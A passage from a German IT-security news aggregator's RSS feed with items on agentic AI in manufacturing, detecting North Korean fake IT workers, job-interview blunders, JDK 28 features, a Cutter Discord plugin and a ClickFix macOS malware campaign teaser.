<li><strong>The intervention:</strong> To solve this, the plant utilized a multi-layer agent-based framework. An energy-monitoring agent tracking live utility tariff feeds communicated the financial threat directly to the production scheduling agent. Instead of a crude emergency halt, the reasoning layer queried the facility’s computerized maintenance management system (CMMS). The agentic layer identified a mandatory 4-hour preventative maintenance window scheduled for three days later. The agent made an executive operational decision: it pulled that maintenance window forward to occur <em>during</em> the exact hours of peak utility pricing, converting an expensive tariff penalty into required downtime. Simultaneously, lower-level agents representing the individual curing chambers and material pallets recalculated local constraints, instructing the optimization engine to compress and accelerate subsequent production batches during the cheaper, off-peak night shifts.</li>
</ul>



<h3 class="wp-block-heading">The business outcome</h3>



<p class="wp-block-paragraph">In both cases, the agents optimized an operational pivot, and optimally utilised production capacity in the former and saved precious cash in the latter.</p>



<h2 class="wp-block-heading">Governance, trust and the “human-in-the-loop” guardrails</h2>



<p class="wp-block-paragraph">All that seems great and seems like science fiction; it inevitably raises a critical, polarizing question for the C-suite: If the algorithms are making multi-thousand-dollar operational choices in real time, how do we maintain control?</p>



<p class="wp-block-paragraph">The solution to this executive anxiety is a framework defined as “autonomy within boundaries,” executed through policy-as-code. Under this model, operational leaders stop managing the volatility of daily schedules. Instead, they focus on creating and managing policy boundaries within which the agents are permitted to negotiate and self-heal.</p>



<p class="wp-block-paragraph">This splits operational exceptions into 2 zones:</p>



<ul class="wp-block-list">
<li><strong>Autonomous execution zone:</strong> The multi-agent system has full authority to re-sequence lines, re-route components or shift maintenance windows autonomously, provided the financial &amp; operational impact is under a predefined limit.  </li>



<li><strong>Expert advisory zone:</strong> The moment a proposed optimization breaches either of these metrics, the agent pushes it to an executive dashboard for immediate human intervention, validation and approval.</li>
</ul>



<p class="wp-block-paragraph">This dual-layer approach introduces a reliable operational framework to industrial manufacturing: leadership manages strategic intent, while tactical units manage real-time execution.</p>



<p class="wp-block-paragraph">By establishing clear thresholds, the fear of an algorithmic “runaway train” is entirely mitigated. However, deploying a complete multi-agent governance framework across an entire enterprise footprint cannot happen overnight.</p>



<p class="wp-block-paragraph">To move this from my serendipitous but compelling discovery to a live, risk-mitigated environment, I need a highly controlled, phased deployment strategy, an actionable roadmap to pilot, test and scale the reasoning layer without disrupting current production baselines.</p>



<p class="wp-block-paragraph">We often say Industry 4.0 connected machines. I believe Industry 5.0 will connect decisions. The factories that succeed will not simply automate workflows; they will build systems capable of reasoning within clearly defined operational boundaries.</p>



<p class="wp-block-paragraph">I am therefore not writing a conclusion here. I would probably be back in a few months writing about the outcome of this exercise. Somehow deep-down I suspect it would be less oriented to technology but how the change management progressed. I have a strong feeling that “…operational leaders stop managing the volatility of daily schedules. Instead, they focus on creating and managing policy boundaries …” would be the toughest part of this change.   </p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Fake-IT-Mitarbeiter: Wie CIOs den Betrug erkennen]]></title>
<description><![CDATA[Die Struktur des Betrugs ist arbeitsteilig. IT-Fachkräfte, Rekruter, Mittelsleute und lokale Helfer suchen gezielt Opfer und erschaffen die Illusion einer Persona.chingyunsong – shutterstock.com



Ein Freelance-Entwickler präsentiert sich mit tadellosem Lebenslauf, sauberem Portfolio und überzeu...]]></description>
<link>https://tsecurity.de/de/3707282/it-security-nachrichten/fake-it-mitarbeiter-wie-cios-den-betrug-erkennen/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3707282/it-security-nachrichten/fake-it-mitarbeiter-wie-cios-den-betrug-erkennen/</guid>
<pubDate>Thu, 06 Aug 2026 06:23:14 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full"><img width="400px" loading="lazy" src="https://images.cio.de/bdb/3357522/original.jpg?quality=50&amp;strip=all" alt="Anonymer Computer-Hacker mit weißer Maske, 16:9, slider" class="wp-image-3637825"><figcaption class="wp-element-caption">Die Struktur des Betrugs ist arbeitsteilig. IT-Fachkräfte, Rekruter, Mittelsleute und lokale Helfer suchen gezielt Opfer und erschaffen die Illusion einer Persona.</figcaption></figure><p class="imageCredit">chingyunsong – shutterstock.com</p></div>



<p class="wp-block-paragraph">Ein Freelance-Entwickler präsentiert sich mit tadellosem Lebenslauf, sauberem Portfolio und überzeugendem Video-Interview. Trotzdem sitzt am anderen Ende kein einzelner Kandidat, sondern ein Glied in einem staatlich gelenkten Betrugsnetzwerk. Was nach Spionagefilm klingt, hat sich zu einem konkreten Insider-Risiko für Unternehmen entwickelt.</p>



<p class="wp-block-paragraph">Seit Jahren schleusen nordkoreanische Netzwerke IT-Fachkräfte mit falschen, gestohlenen oder geliehenen Identitäten in westliche Unternehmen ein, meist als Remote-Freelancer für Softwareentwicklung, Datenbanken, Cloud-Administration oder App-Projekte. Behörden sprechen von Tausenden weltweit eingesetzten Arbeitskräften.</p>



<p class="wp-block-paragraph">Wie groß einzelne Netzwerke werden können, zeigen inzwischen abgeschlossene Strafverfahren: In einem Fall wurden 309 US-Unternehmen und zwei internationale Firmen getäuscht; das Netzwerk erwirtschaftete mehr als 17 Millionen US-Dollar. Im April 2026 wurden zwei weitere Helfer verurteilt, deren Struktur mit gestohlenen Identitäten Jobs bei mehr als 100 Unternehmen erlangte und über fünf Millionen US-Dollar einnahm.</p>



<p class="wp-block-paragraph">Für CIOs ist das kein akademisches Risiko. Wer regulär eingestellt wurde, erhält reguläre Zugangsdaten und damit unter Umständen Zugriff auf Quellcode, Kundendaten, Entwicklungsumgebungen oder interne Wissensbestände. Genau das macht den Fall gefährlich: Technisch sieht der Zugriff zunächst legitim aus, obwohl Identität, Standort und Zweck der Tätigkeit falsch sein können.</p>



<h2 class="wp-block-heading">Wie das Schema funktioniert</h2>



<p class="wp-block-paragraph">Die Struktur ist arbeitsteilig. IT-Fachkräfte übernehmen die eigentliche Projektarbeit. Rekruter suchen passende Stellen, Mittelsleute beschaffen Identitäten und Konten, andere Personen treten in Interviews auf oder wickeln Verträge und Zahlungen ab. Hinzu kommen lokale Helfer, die Firmenhardware entgegennehmen. Ein Unternehmen kann daher im Bewerbungsgespräch, beim Versand des <a href="https://www.eizo.de/7-jahre-garantie?utm_campaign=26F_BP&amp;utm_medium=intext&amp;utm_source=foundry" target="_blank" rel="noreferrer noopener">Laptops</a> und während der täglichen Zusammenarbeit jeweils mit einer anderen Person oder Rolle aus demselben Netzwerk interagieren.</p>



<p class="wp-block-paragraph">Eine Schlüsselrolle spielen sogenannte <a href="https://www.eizo.de/7-jahre-garantie?utm_campaign=26F_BP&amp;utm_medium=intext&amp;utm_source=foundry" target="_blank" rel="noreferrer noopener">Laptop</a> Farms. Firmenrechner stehen physisch im Land des vermeintlichen Mitarbeiters, werden aber über Fernwartungssoftware oder KVM-Technik (Kernel-based Virtual Machine) aus dem Ausland bedient. Für einfache Standortkontrollen wirkt der Zugriff damit lokal. Gleichzeitig helfen Scheinfirmen, Zahlungsaccounts, Profile auf Jobplattformen und professionell gestaltete Portfolios dabei, die erfundene Biografie konsistent erscheinen zu lassen.</p>



<p class="wp-block-paragraph">Generative KI erhöht die Qualität und Geschwindigkeit dieser Täuschung. Microsoft hat unter anderem KI-bearbeitete Profilbilder, verbesserte Bewerbungsunterlagen und den Einsatz von Stimmveränderungssoftware beobachtet. Ein fehlerfreier Lebenslauf oder ein plausibles Profil ist deshalb kein belastbarer Identitätsnachweis mehr.</p>



<h2 class="wp-block-heading">Warum klassische Prüfungen zu kurz greifen</h2>



<p class="wp-block-paragraph">Ein einmaliger, dokumentenbasierter Background-Check kann bei dieser Betrugsform ins Leere laufen. Er bestätigt im besten Fall, dass die vorgelegten Daten zu einer realen Identität passen. Der Check beantwortet aber nicht automatisch, ob diese Identität der Person im Interview gehört, ob später dieselbe Person arbeitet oder ob dieselben Kontaktdaten bereits in anderen Bewerbungen aufgetaucht sind. Identitätsprüfung muss deshalb als Prozess gedacht werden: vom Recruiting über das Onboarding bis zu risikobasierten Kontrollen während der Beschäftigung.</p>



<p class="wp-block-paragraph">Zusätzliche Blindstellen entstehen bei <a href="https://open.spotify.com/episode/52T9nVRnIb9XJTWYGXuyPE?si=19a074eb33e047cb&amp;utm_source=IT" target="_blank" rel="noreferrer noopener">externen</a> Entwicklern und Personaldienstleistern. Wer das Recruiting an einen Dritten auslagert, gibt damit nicht die Verantwortung für den Systemzugang ab. Unternehmen sollten vertraglich und operativ sicherstellen, dass Dienstleister vergleichbare Prüfstandards anwenden und relevante Auffälligkeiten melden.</p>



<h2 class="wp-block-heading">Warnsignale im Bewerbungsprozess</h2>



<p class="wp-block-paragraph">Behörden und Sicherheitsforscher beschreiben wiederkehrende Muster. Kein einzelnes Merkmal beweist einen Betrug; entscheidend ist die Kombination mehrerer voneinander unabhängiger Signale:</p>



<ul class="wp-block-list">
<li>Kontaktdaten, hier besonders VoIP-Nummern, E-Mail-Adressen oder Zahlungsinformationen, tauchen bei mehreren angeblich unabhängigen Bewerbungen identisch auf.</li>



<li>Lebenslauf, Portfolio und öffentliches Profil passen zeitlich oder inhaltlich nicht zusammen; ganze Textpassagen oder Arbeitsproben finden sich bei anderen Personen wieder.</li>



<li>Der Kandidat weicht einem stabilen Video-Interview aus, Bild und Stimme wirken wiederholt asynchron oder die Person im späteren Arbeitsalltag unterscheidet sich auffällig vom Interview.</li>



<li>Antworten zum aktuellen Standort, zu Ausbildung oder früheren Projekten bleiben trotz fachlicher Nachfragen ungewöhnlich vage oder widersprüchlich.</li>



<li>Kurz vor oder nach Vertragsstart ändern sich Lieferadresse, Bankverbindung oder Zahlungsplattform; Hardware soll an eine andere als die verifizierte Adresse gehen.</li>



<li>Der Kandidat drängt auf einen sehr schnellen Start, fordert weitreichende Rechte vor Abschluss der Prüfungen oder bevorzugt ungewöhnliche Zahlungswege.</li>
</ul>



<h2 class="wp-block-heading">Warnsignale nach dem ersten Arbeitstag</h2>



<p class="wp-block-paragraph">Mit der Einstellung endet die Prüfung nicht. Technische Indikatoren können zeigen, dass der Firmenrechner nur als Zwischenstation dient oder dass mehrere Personen ein Konto nutzen:</p>



<ul class="wp-block-list">
<li>Mehrere Anmeldungen desselben Kontos aus weit auseinanderliegenden Ländern oder IP-Bereichen innerhalb kurzer Zeit.</li>



<li>Nicht genehmigte Fernwartungs- oder Remote-Desktop-Software, auffällige KVM-Geräte sowie Versuche, lokale Administratorrechte zu erhalten.</li>



<li>Ungewöhnliche Browser-Sitzungen, wechselnde Gerätefingerabdrücke oder Arbeitsaktivität, die dauerhaft nicht zum angegebenen Standort und zur Zeitzone passt.</li>



<li>Großflächiges Kopieren von Quellcode oder Dokumenten in private Cloudspeicher, persönliche Repositories oder nicht freigegebene Filesharing-Dienste.</li>



<li>Mehrere parallele Audio- oder Videoverbindungen und wiederkehrende Probleme, die darauf hindeuten, dass Meetings durch Dritte unterstützt werden.</li>
</ul>



<p class="wp-block-paragraph">Auch hier gilt: VPN-Nutzung, Remote-Tools oder ein ungewöhnlicher Arbeitsrhythmus sind für sich genommen kein Beweis. Sie werden erst im Zusammenhang mit Auffälligkeiten aus Recruiting, Hardwareversand und Zahlungsdaten aussagekräftig.</p>



<h2 class="wp-block-heading">Warum der Schaden weit über das Gehalt hinausgeht</h2>



<p class="wp-block-paragraph">Die erste Motivation ist häufig die Einnahme regulärer Gehälter. Doch aus dem legitimen Zugang kann ein zweites Geschäftsmodell entstehen. Das FBI warnt vor dem Abfluss proprietärer Daten und Quellcode sowie vor Erpressung nach der Enttarnung.</p>



<p class="wp-block-paragraph">Hinzu kommen Kosten für Forensik, Rechtsberatung, Wiederherstellung von Systemen und mögliche Meldepflichten. Bei sensiblen Technologien können außerdem Exportkontrollen, Sanktionen und vertragliche Geheimhaltungspflichten berührt sein.</p>



<h2 class="wp-block-heading">Was CIOs konkret tun können</h2>



<p class="wp-block-paragraph">Wirksam ist kein einzelnes Tool, sondern ein Kontrollmodell, das HR, <a href="https://open.spotify.com/episode/52T9nVRnIb9XJTWYGXuyPE?si=19a074eb33e047cb&amp;utm_source=IT" target="_blank" rel="noreferrer noopener">IT</a>, Security, Einkauf und Compliance verbindet. Fünf Maßnahmen reduzieren das Risiko deutlich:</p>



<ul class="wp-block-list">
<li><strong>Rollen nach Risiko staffeln. </strong>Für Tätigkeiten mit Zugriff auf Quellcode, Produktionssysteme, Forschungsdaten oder privilegierte Konten gelten stärkere Prüf- und Freigabeschritte als für risikoarme Rollen.</li>



<li><strong>Identität mehrfach verifizieren. </strong>Dokumente, Kontaktangaben, Ausbildung und frühere Beschäftigung werden über unabhängige Quellen geprüft. Bei Remote-Rollen sollte die Identität beim Interview, beim Onboarding und bei begründetem Anlass erneut bestätigt werden.</li>



<li><strong>Hardware und Zahlungen kontrollieren. </strong>Firmenrechner gehen nur an die verifizierte Adresse. Änderungen von Lieferort, Bankverbindung oder Zahlungsplattform lösen eine erneute Prüfung aus. Systemzugänge werden erst nach Abschluss der vorgesehenen Kontrollen freigeschaltet.</li>



<li><strong>Least Privilege technisch durchsetzen. </strong>Neue Mitarbeitende erhalten zunächst nur die Rechte, die sie tatsächlich benötigen. Nicht freigegebene Fernwartungssoftware wird blockiert; Identitäts-, Endpoint- und Cloud-Logs werden risikobasiert auf ungewöhnliche Muster geprüft.</li>



<li><strong>Dienstleister und Eskalation einbeziehen. </strong>Für Freelancer und Staffing-Partner gelten dieselben Mindeststandards. Ein gemeinsamer Eskalationsweg legt fest, wer bei Auffälligkeiten entscheidet, Beweise sichert und Zugriffe begrenzt.</li>
</ul>



<p class="wp-block-paragraph">Für Unternehmen in Deutschland, Österreich und der Schweiz muss dieses Vorgehen verhältnismäßig und datenschutzkonform ausgestaltet sein. Ziel ist nicht die möglichst umfassende Sammlung von Personendaten, sondern die nachvollziehbare Prüfung relevanter Risiken für eine konkrete Rolle, mit klaren Kriterien, begrenzten Aufbewahrungsfristen und menschlicher Bewertung von Treffern.</p>



<h2 class="wp-block-heading">Wenn sich der Verdacht erhärtet</h2>



<p class="wp-block-paragraph">Ein Verdachtsfall gehört nicht allein ins Recruiting. HR, Security, Legal beziehungsweise Datenschutz und gegebenenfalls Compliance sollten koordiniert vorgehen. Dazu gehören die Sicherung relevanter Protokolle, die kontrollierte Begrenzung von Zugängen, der Wechsel exponierter Schlüssel oder Tokens und die Prüfung, ob Daten in private Repositories oder Cloudkonten abgeflossen sind.</p>



<p class="wp-block-paragraph">Welche Behörden oder Vertragspartner informiert werden müssen, hängt vom Sitz des Unternehmens, den betroffenen Daten und regulatorischen Pflichten ab. Entscheidend ist ein vorbereiteter Incident-Plan, nicht eine improvisierte Konfrontation.</p>



<p class="wp-block-paragraph">Wer sensible Systeme oder Daten verantwortet, kommt an dieser Form von Personalrisiko nicht mehr vorbei. Die Fälle zeigen: Cybersicherheit beginnt nicht erst an der Firewall. Sie beginnt dort, wo eine digitale Identität erstmals Vertrauen, <a href="https://www.eizo.de/7-jahre-garantie?utm_campaign=26F_BP&amp;utm_medium=intext&amp;utm_source=foundry" target="_blank" rel="noreferrer noopener">Hardware</a> und Zugriffsrechte erhält und sie endet nicht mit dem ersten Arbeitstag. (jd)</p>



<p class="wp-block-paragraph"></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[8 peinliche Fehler im Bewerbungsgespräch]]></title>
<description><![CDATA[sirtravelalot – shutterstock.com



Einen peinlichen Moment im Arbeitsleben hat sicher jeder schon einmal erlebt. Vielleicht hat man sich durch eine sehr wichtige Präsentation gestammelt oder auf einer Unternehmensfeier lautstark ein volles Glas umgeworfen und mit der verschütteten Flüssigkeit im...]]></description>
<link>https://tsecurity.de/de/3707281/it-security-nachrichten/8-peinliche-fehler-im-bewerbungsgespraech/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3707281/it-security-nachrichten/8-peinliche-fehler-im-bewerbungsgespraech/</guid>
<pubDate>Thu, 06 Aug 2026 06:22:32 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Bildschirmfoto-2026-07-30-um-20.15.44.png?w=1024" alt="Bewerbungsgespräch" class="wp-image-4203616" width="1024" height="607" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">sirtravelalot – shutterstock.com</p></div>



<p class="wp-block-paragraph">Einen peinlichen Moment im Arbeitsleben hat sicher jeder schon einmal erlebt. Vielleicht hat man sich durch eine sehr wichtige Präsentation gestammelt oder auf einer Unternehmensfeier lautstark ein volles Glas umgeworfen und mit der verschütteten Flüssigkeit im schlimmsten Fall auch noch einen Kollegen getroffen. Besonders schwer wiegen peinliche Fehler dann, wenn man den Wunschjob noch nicht einmal in der Tasche hat. Gerade beim Bewerbungsgespräch kommt es darauf an, einen starken ersten Eindruck zu hinterlassen.</p>



<p class="wp-block-paragraph">Das Online-Karriereportal Careerbuilder hat mehr als 3.000 Arbeitgeber und Personal-Experten sechs häufige Fehler im Bewerbungsgespräch danach bewerten lassen, wie sehr sie dem Kandidaten schaden. Den größten Fehler begehen Kandidaten dann, wenn sie im Gespräch ein Handygespräch annehmen oder eine SMS schreiben, 77 Prozent der Umfrage-Teilnehmer stören sich an diesem Verhalten. Das zweitschlimmste Vergehen ist es, kein Interesse an der ausgeschriebenen Stelle zu zeigen (75 Prozent), das drittschlimmste, sich unangemessen zu kleiden (72 Prozent).</p>



<p class="wp-block-paragraph">Auf Rang vier der schlimmsten Fehler in Bewerbungsgesprächen liegt arrogantes Auftreten, daran stören sich 72 Prozent der befragten Personal-Experten. 67 Prozent der Personaler stören sich daran, wenn ein Bewerber im Gespräch schlecht über den jetzigen oder über frühere Arbeitgeber spricht. Für 63 Prozent der Umfrageteilnehmer ist es ein schlimmes Vergehen, wenn ein Kandidat im Bewerbungsgespräch Kaugummi kaut.</p>



<p class="wp-block-paragraph">Darüber hinaus befragte Careerbuilder die Personal-Experten nach ihren <strong>ungewöhnlichsten Erlebnissen bei Bewerbungsgesprächen</strong>. Die Umfrageteilnehmer berichteten von den folgenden Gesprächssituationen:</p>



<ul class="wp-block-list">
<li>1. Ein Kandidat brachte einen Bewerbungsratgeber zum Gespräch mit.</li>



<li>2. Ein anderer Bewerber fragte: “Wie heißt ihr Unternehmen noch mal?”</li>



<li>3. Bei einem <a href="https://cio.de/article/3663369/101-manieren-fuers-web-2-0.html" target="_blank">Telefoninterview</a> wurde ein Personaler von der Kandidatin in die Warteschleife gestellt. Als die Kandidatin das Gespräch in die Leitung zurückholte, erzählte sie, sie hätte sich in der Zwischenzeit für Freitag für ein Date verabredet.</li>



<li>4. Ein Bewerber trug zum Bewerbungsgespräch eine Pfadfinderuniform und erklärte im Laufe des Gesprächs nicht, weshalb er das tat.</li>



<li>5. Ein Kandidat sprach während des gesamten Bewerbungsgesprächs von sich in der dritten Person.</li>



<li>6. Ein anderer Bewerber zog sich während des Jobinterviews seine Schuhe aus.</li>



<li>7. Ein Bewerber fragte, ob er einen Schluck vom Kaffee des Personalers trinken dürfe.</li>



<li>8. Und schließlich berichtet ein Personaler von einer Kandidatin, die im Gespräch sagte, sie sei sich nicht sicher, ob der angebotene Job es wert sei, dafür das Auto zu starten.</li>
</ul>



<h2 class="wp-block-heading">3 Tipps für ein erfolgreiches Bewerbungsgespräch</h2>



<p class="wp-block-paragraph">“Man mag ja denken, dass ein Bewerber nie und nimmer während eines Jobinterviews einen Anruf annehmen würde, aber wir hören diese Geschichten immer wieder, wenn wir mit Personalern sprechen”, sagt Rosemary Haefner von Careerbuilder. Bei der Masse der <a href="https://www.cio.de/careers/">Bewerber</a> gehe es jedoch nicht darum, solche Fehler zu vermeiden sondern sich von den anderen Bewerbern abzuheben. Haefner gibt die folgenden Ratschläge für ein erfolgreiches Bewerbungsgespräch:</p>



<p class="wp-block-paragraph"><strong>1. Intensiv vorbereiten</strong>: Um auf Fragen zum Unternehmen souverän zu antworten, sollte man sich gut über den Wunscharbeitgeber informieren. Geeignete Quellen dafür sind die Selbstdarstellung auf der Unternehmenswebsite, aktuelle Pressemeldungen und die Vorstellung angebotener Produkte und Dienstleistungen.</p>



<p class="wp-block-paragraph"><strong>2. Optimistisch bleiben</strong>: Egal, wie die Stimmung im Bewerbungsgespräch auf einen wirkt. Haefner rät, positiv zu bleiben und auf keinen Fall schlecht über frühere Arbeitgeber zu sprechen.</p>



<p class="wp-block-paragraph"><strong>3. Beispiele und Ideen vorbereiten</strong>: Am besten überlegt man sich bereits vor dem Interview Anekdoten, die den eigenen Lebenslauf veranschaulichen und zum Beispiel erläutern, wie man in früheren Jobs mit herausfordernden Situationen umgegangen ist. Auch mit Ideen und Vorschlägen für den Wunschjob kann man aus der Masse der Bewerber hervorstechen.</p>



<p class="wp-block-paragraph">Das Online-Karriereportal Careerbuilder sprach für diese Umfrage mit mehr als 3.000 Arbeitgebern und Personal-Experten in den USA.</p>



<p class="wp-block-paragraph">Erzählen Sie mir von einem Vorgang, den Sie für andere dokumentiert haben.</p>



<p class="wp-block-paragraph">Die Antwort zeigt, wie wichtig dem Bewerber Teamwork ist und ob er sein Wissen anderen zugänglich macht.</p>



<p class="wp-block-paragraph">Erzählen Sie mir von einem ihrer bisherigen Projekte.</p>



<p class="wp-block-paragraph">Hier können Bewerber punkten, wenn sie auch auf Herausforderungen, komplexe Aufgaben und Einschränkungen eingehen.</p>



<p class="wp-block-paragraph">Was könnten Sie mir über Details zur Programmierung von … sagen?</p>



<p class="wp-block-paragraph">Die soll zeigen, ob ein Kandidat zu einer Wissenslücke steht oder blufft.</p>



<p class="wp-block-paragraph">Wie würden Sie dieses Thema einem Kollegen erläutern, der kein IT-Experte ist?</p>



<p class="wp-block-paragraph">Hier kann man zeigen, wieviel einem an einem guten Verhältnis von Business und <a href="https://open.spotify.com/episode/52T9nVRnIb9XJTWYGXuyPE?si=19a074eb33e047cb&amp;utm_source=IT" target="_blank" rel="noreferrer noopener">IT</a> liegt.</p>



<p class="wp-block-paragraph">Sie können ein Projekt entweder rechtzeitig und unvollständig oder vollständig, jedoch nach der Deadline, abschließen. Wofür entscheiden Sie sich?</p>



<p class="wp-block-paragraph">Eine gute Antwort wäre zum Beispiel, gemeinsam mit Projektleiter und Team nach der besten Lösung zu suchen.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Java 28 starts to take shape]]></title>
<description><![CDATA[Java Development Kit (JDK) 28, a non-LTS (Long-Term Support) or “feature release” of standard Java due in March 2027, has started to take shape. Features listed for JDK 28 now include a preview of value objects, switching the default mode of the Shenandoah garbage collector to generational mode, ...]]></description>
<link>https://tsecurity.de/de/3707204/ai-nachrichten/java-28-starts-to-take-shape/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3707204/ai-nachrichten/java-28-starts-to-take-shape/</guid>
<pubDate>Thu, 06 Aug 2026 04:36:53 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph"><a href="https://openjdk.org/projects/jdk/28/">Java Development Kit (JDK) 28</a>, a non-LTS (Long-Term Support) or “feature release” of standard Java due in March 2027, has started to take shape. Features listed for JDK 28 now include a preview of value objects, switching the default mode of the Shenandoah garbage collector to generational mode, and a preview of strict field initialization in the <a href="https://www.infoworld.com/article/2269370/what-is-the-jvm-introducing-the-java-virtual-machine.html" data-type="link" data-id="https://www.infoworld.com/article/2269370/what-is-the-jvm-introducing-the-java-virtual-machine.html">Java Virtual Machine</a> (JVM).</p>



<p class="wp-block-paragraph">As a non-LTS release, JDK 28 will be backed by six months of support by Oracle. </p>



<p class="wp-block-paragraph">The three features currently targeted to JDK 28 include the following:</p>



<ul class="wp-block-list">
<li>Introduce <a href="https://openjdk.org/jeps/401">value objects</a>, which are immutable and lack object identity. Value objects are distinguished by the values of their fields, and can be represented by the JVM in ways that improve performance. A goal of the feature is to give developers a programming model for immutable data in which the <code>==</code> operator, and all other operations, distinguish objects by the values of their fields rather than their identities. Value objects is a <a href="https://openjdk.org/jeps/12">preview language and VM feature</a>.</li>



<li>Switch the default mode of the <a href="https://openjdk.org/jeps/535">Shenandoah Garbage Collector (GC)</a> to the generational mode and deprecate the non-generational mode, with the intent to remove it in a future release. Goals include signaling the intent that future development will focus on generational mode, and reducing the maintenance cost of supporting two different modes. However, it is not a goal to remove non-generational mode at this time.</li>



<li>Introduce <a href="https://openjdk.org/jeps/539">strictly-initialized fields</a> in the JVM. Such fields must be initialized before they are read, thus default values such as <code>0</code> or <code>null</code> are never observed. For strictly-initialized fields that are final, the same value is always observed. A goal is offering designers of JVM-based programming languages a model for field initialization, which has stronger integrity guarantees than the present model. This is a <a href="https://openjdk.org/jeps/12">preview VM feature</a>. </li>
</ul>



<p class="wp-block-paragraph">The predecessor to JDK 28, <a href="https://www.infoworld.com/article/4202901/jdk-27-the-new-features-of-java-27.html">JDK 27</a>, is due September 15. JDK 27 also is a non-LTS release that will be backed by six months of support by Oracle.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[nvrmnd-png/CutterDiscordRPC: Let your friends see what you are reversing. Discord Rich Presence for Cutter, with a setup script that does the install for you.]]></title>
<description><![CDATA[submitted by    /u/AmbitiousRadish7617   [link]   [comments]]]></description>
<link>https://tsecurity.de/de/3706934/reverse-engineering/nvrmnd-pngcutterdiscordrpc-let-your-friends-see-what-you-are-reversing-discord-rich-presence-for-cutter-with-a-setup-script-that-does-the-install-for-you/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3706934/reverse-engineering/nvrmnd-pngcutterdiscordrpc-let-your-friends-see-what-you-are-reversing-discord-rich-presence-for-cutter-with-a-setup-script-that-does-the-install-for-you/</guid>
<pubDate>Wed, 05 Aug 2026 23:31:54 +0200</pubDate>
<content:encoded><![CDATA[  submitted by   <a href="https://www.reddit.com/user/AmbitiousRadish7617"> /u/AmbitiousRadish7617 </a> <br> <span><a href="https://github.com/nvrmnd-png/CutterDiscordRPC">[link]</a></span>   <span><a href="https://www.reddit.com/r/ReverseEngineering/comments/1vg8kg6/nvrmndpngcutterdiscordrpc_let_your_friends_see/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[ClickFix versteckt MacOS-Malware-Download per Browser-Fingerprinting-Gate]]></title>
<description><![CDATA[LONDON (IT BOLTWISE) – Eine weit verzweigte ClickFix-Kampagne für macOS prüft Besucher per Browser-Fingerprinting, bevor sie eine Malware-Anweisung überhaupt ausliefert. Microsoft Threat Intelligence berichtet, dass mehr als 250 Frontend-Domains als wechselnde Köder dienen und das eigentliche Lur...]]></description>
<link>https://tsecurity.de/de/3706791/it-security-nachrichten/clickfix-versteckt-macos-malware-download-per-browser-fingerprinting-gate/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3706791/it-security-nachrichten/clickfix-versteckt-macos-malware-download-per-browser-fingerprinting-gate/</guid>
<pubDate>Wed, 05 Aug 2026 23:20:12 +0200</pubDate>
<content:encoded><![CDATA[<p><img width="1024" height="1024" src="https://www.it-boltwise.de/wp-content/uploads/2026/08/ai-clickfix-fingerprinting-gate-macos.jpg" class="attachment- size- wp-post-image" alt="" decoding="async" loading="lazy" srcset="https://www.it-boltwise.de/wp-content/uploads/2026/08/ai-clickfix-fingerprinting-gate-macos.jpg 1024w, https://www.it-boltwise.de/wp-content/uploads/2026/08/ai-clickfix-fingerprinting-gate-macos-300x300.jpg 300w, https://www.it-boltwise.de/wp-content/uploads/2026/08/ai-clickfix-fingerprinting-gate-macos-150x150.jpg 150w, https://www.it-boltwise.de/wp-content/uploads/2026/08/ai-clickfix-fingerprinting-gate-macos-768x768.jpg 768w, https://www.it-boltwise.de/wp-content/uploads/2026/08/ai-clickfix-fingerprinting-gate-macos-840x840.jpg 840w, https://www.it-boltwise.de/wp-content/uploads/2026/08/ai-clickfix-fingerprinting-gate-macos-120x120.jpg 120w" sizes="auto, (max-width: 1024px) 100vw, 1024px">LONDON (IT BOLTWISE) – Eine weit verzweigte ClickFix-Kampagne für macOS prüft Besucher per Browser-Fingerprinting, bevor sie eine Malware-Anweisung überhaupt ausliefert. Microsoft Threat Intelligence berichtet, dass mehr als 250 Frontend-Domains als wechselnde Köder dienen und das eigentliche Lure-Frontend serverseitig für Crawler und Sandboxes ausgeblendet bleibt. Der Qualifikations-Check umfasst unter anderem Platform-Strings, WebGL-Signale sowie Erkennung von Analyse-Umgebungen […]</p>
<div><a href="https://www.it-boltwise.de/clickfix-versteckt-macos-malware-download-per-browser-fingerprinting-gate.html">... den vollständigen Artikel <strong>»ClickFix versteckt MacOS-Malware-Download per Browser-Fingerprinting-Gate«</strong> lesen</a></div>
<p>Dieser Beitrag <a href="https://www.it-boltwise.de/clickfix-versteckt-macos-malware-download-per-browser-fingerprinting-gate.html">ClickFix versteckt MacOS-Malware-Download per Browser-Fingerprinting-Gate</a> erschien als erstes auf <a href="https://www.it-boltwise.de/">IT BOLTWISE x Artificial Intelligence</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Meta Debuts First AI Coding Agent To Take On Anthropic and OpenAI]]></title>
